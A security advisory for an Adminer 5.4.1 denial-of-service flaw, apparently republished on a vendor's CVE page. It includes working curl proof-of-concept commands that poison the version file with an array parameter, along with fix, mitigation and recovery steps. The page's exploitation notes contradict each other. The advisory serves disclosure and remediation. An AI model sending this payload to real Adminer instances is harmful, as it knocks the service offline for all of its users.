Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-q4f2-39gr-45jh
No affected components available
Summary
Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.
Fix
Upgrade to Adminer 5.4.2.
Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.
Details
1. Intended design of ?script=version:
The endpoint is designed to receive version data from adminer.org via browser JavaScript:
functions.jsline 102-117: Creates iframe tohttps://www.adminer.org/version/- Adminer.org sends signed version data via
postMessage - JavaScript POSTs this to
?script=version - Server stores in
/tmp/adminer.versionfor signature verification
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);
2. The vulnerability:
The endpoint only checks $_GET["script"] == "version" - it does not validate:
- Request origin (no CSRF token check for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (
versionexpected as string, array not rejected)
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
$filename = get_temp_dir() . "/adminer.version";
@unlink($filename);
$fp = file_open_lock($filename);
if ($fp) {
file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
}
exit;
}
3. Type confusion crash:
When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():
// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {
PHP 8.x throws:
TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given
PoC
Steps to Reproduce:
Step 1: Verify Adminer is running and accessible.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
200
Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.
curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
-d "signature=x&version[]=INJECTED"
Expected output: Empty response (no error).
Step 3: Access Adminer again to trigger the crash.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
500
Step 4: (Optional) View the PHP error in server logs.
PHP Fatal error: Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386
Step 5: (Optional) Inspect the poisoned file.
cat /tmp/adminer.version
Expected output:
a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
Recovery:
rm /tmp/adminer.version
After deletion, Adminer returns HTTP 200.
Impact
Type: Denial of Service
Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.
Affected users: Any Adminer instance accessible over the network.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard